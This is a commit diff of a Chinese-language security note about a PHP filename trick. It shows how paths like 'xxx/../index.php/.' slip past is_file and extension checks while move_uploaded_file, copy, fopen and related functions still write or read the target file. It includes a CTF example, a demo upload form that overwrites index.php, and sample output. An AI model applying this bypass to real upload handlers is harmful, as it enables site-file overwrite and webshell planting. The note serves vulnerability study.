1
- > move_uploaded_file, file_put_contents,copy 都存在的一种特殊文件名的写入技巧
1
+ > move_uploaded_file, file_put_contents,copy,readfile,file,fopen都存在的一种特殊文件名的写入技巧
2
+
3
+ ```
4
+ $name = "index.php/.";
5
+ $name1 = "xxx/../index.php/.";
6
+ ```
7
+ 对于这两种文件名,如果我们用is_file函数判断,发现都是false,即判断为不是文件或文件不存在。
8
+
9
+ 但上面这些函数判断的时候会认为$name文件不存在,但$name1文件存在,从而可能导致一些特殊的文件读取或者文件写入的漏洞。
2
10
3
11
### file_put_contents()
4
12
```
@@ -20,7 +28,6 @@ paylaod:
20
28
### move_uploaded_file()
21
29
22
30
0ctf 上面的一道题目
23
-
24
31
```
25
32
case 'upload':
26
33
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
@@ -45,7 +52,29 @@ pathinfo 函数可以用`/.` 来绕过,取出来的后缀为空
45
52
46
53
move_uploaded_file函数无法写入` index.php/. ` 文件,执行函数报错但可以写入` xxx/../index.php/. ` 这样来绕过重写index.php
47
54
48
- https://www.anquanke.com/post/id/103784
55
+
56
+ 测试demo:
57
+ ```
58
+ <?php
59
+ $name = "index.php/."; //覆盖index.php失败,报warning
60
+ $name1 = "xxx/../index.php/."; //覆盖index.php成功
61
+ move_uploaded_file($_FILES['file']['tmp_name'], $name1);
62
+ ?>
63
+
64
+ <!DOCTYPE html>
65
+ <html>
66
+ <head>
67
+ <title></title>
68
+ </head>
69
+ <body>
70
+ <form action="#" method="post" enctype="multipart/form-data">
71
+ <input type="file" name="file">
72
+ <input type="submit">
73
+ </form>
74
+ </body>
75
+ </html>
76
+ ```
77
+ > 注意move_uploaded_file 会判断是否为post上传的文件。
49
78
50
79
### copy
51
80
php.net上的解释
@@ -60,4 +89,43 @@ test.php
60
89
$name = "./index.php";
61
90
$dest = "xxx/../ttt.php/.";
62
91
copy($name,$dest);
63
- ```
92
+ ```
93
+
94
+ ### readfile
95
+ ```
96
+ $name = "index.php/.";
97
+ $name1 = "xxx/../index.php/.";
98
+ readfile($name);
99
+ readfile($name1);
100
+
101
+ >>>
102
+ PHP Warning: readfile(index.php/.): failed to open stream: No such file or directory in /mnt/hgfs/F/sublime/php/audit/4/file_put_content.php on line 8
103
+ ffffffffffff
104
+ ```
105
+
106
+ ### file函数
107
+ 同readfile函数
108
+ ```
109
+ $name = "index.php/.";
110
+ $name1 = "xxx/../index.php/.";
111
+ file($name1); //$name 读文件失败
112
+
113
+ array(1) {
114
+ [0]=>
115
+ string(12) "ffffffffffff"
116
+ }
117
+ ```
118
+
119
+ ### fopen函数
120
+ ```
121
+ $name = "index.php/.";
122
+ $name1 = "xxx/../index.php/.";
123
+ $f = fopen($name,'w');fwrite($f,'ffff'); //报错
124
+ $f = fopen($name1,'w');fwrite($f,'ffffffffffff'); //写入成功
125
+ ```
126
+
127
+ ## 简要分析
128
+ 通过之前大佬对file_put_contents函数的分析` http://wonderkun.cc/index.html/?paged=5 ` 可知php源码的` _php_stream_open_wrapper_ex ` 函数存在问题,而上面这些函数都直接或间接调用了这个函数,导致了这种文件名可以识别成功。
129
+
130
+ > move_uploaded_file 和copy函数调用了` php_copy_file_ctx ` 函数,fopen调用了` php_if_fopen ` 这两个函数内部是调用了` _php_stream_open_wrapper_ex ` 了的。
131
+
0 commit comments